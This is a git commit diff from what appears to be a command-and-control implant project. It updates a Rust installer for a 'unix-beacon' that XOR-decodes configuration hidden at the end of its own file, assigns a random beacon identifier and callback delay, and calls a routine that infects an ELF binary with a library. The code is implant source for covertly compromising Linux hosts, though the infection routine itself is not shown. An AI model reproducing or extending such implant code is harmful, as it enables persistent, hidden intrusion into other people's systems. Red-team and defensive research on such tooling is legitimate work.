feat: got unix-beacon tested on Linux

This commit is contained in:
Andrew Rioux
2025-02-05 16:53:11 -05:00
parent 90c8b97141
commit cd2890ee36
6 changed files with 82 additions and 49 deletions

View File

@@ -52,10 +52,10 @@ fn main() -> Result<(), Error> {
installer_file.seek(SeekFrom::End(-parameters_size))?;
let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
installer_file.read(&mut parameters_buffer)?;
installer_file.read_to_end(&mut parameters_buffer)?;
for b in parameters_buffer.iter_mut() {
*b = *b & (XOR_KEY as u8);
*b = *b ^ (XOR_KEY as u8);
}
let parameters: &mut Parameters =
@@ -66,6 +66,11 @@ fn main() -> Result<(), Error> {
.try_fill_bytes(&mut identifier)
.expect("Could not generate beacon identifier");
let hex_ident = hex::encode(&identifier);
parameters
.beacon_identifier
.copy_from_slice(&hex_ident.as_bytes());
let beacon_name = opts.binary_name.as_bytes();
parameters.beacon_name[..beacon_name.len()].copy_from_slice(&beacon_name[..]);
parameters.beacon_name_length = beacon_name.len() as u16;
@@ -73,5 +78,9 @@ fn main() -> Result<(), Error> {
parameters.delay_seconds_min = opts.delay_seconds_minimum;
parameters.delay_seconds_max = opts.delay_seconds_minimum;
infect_elf_binary(opts.binary, opts.library_path, parameters)
std::fs::write("./debug.params-pre", &parameters_buffer)?;
infect_elf_binary(opts.binary, opts.library_path, parameters_buffer)?;
Ok(())
}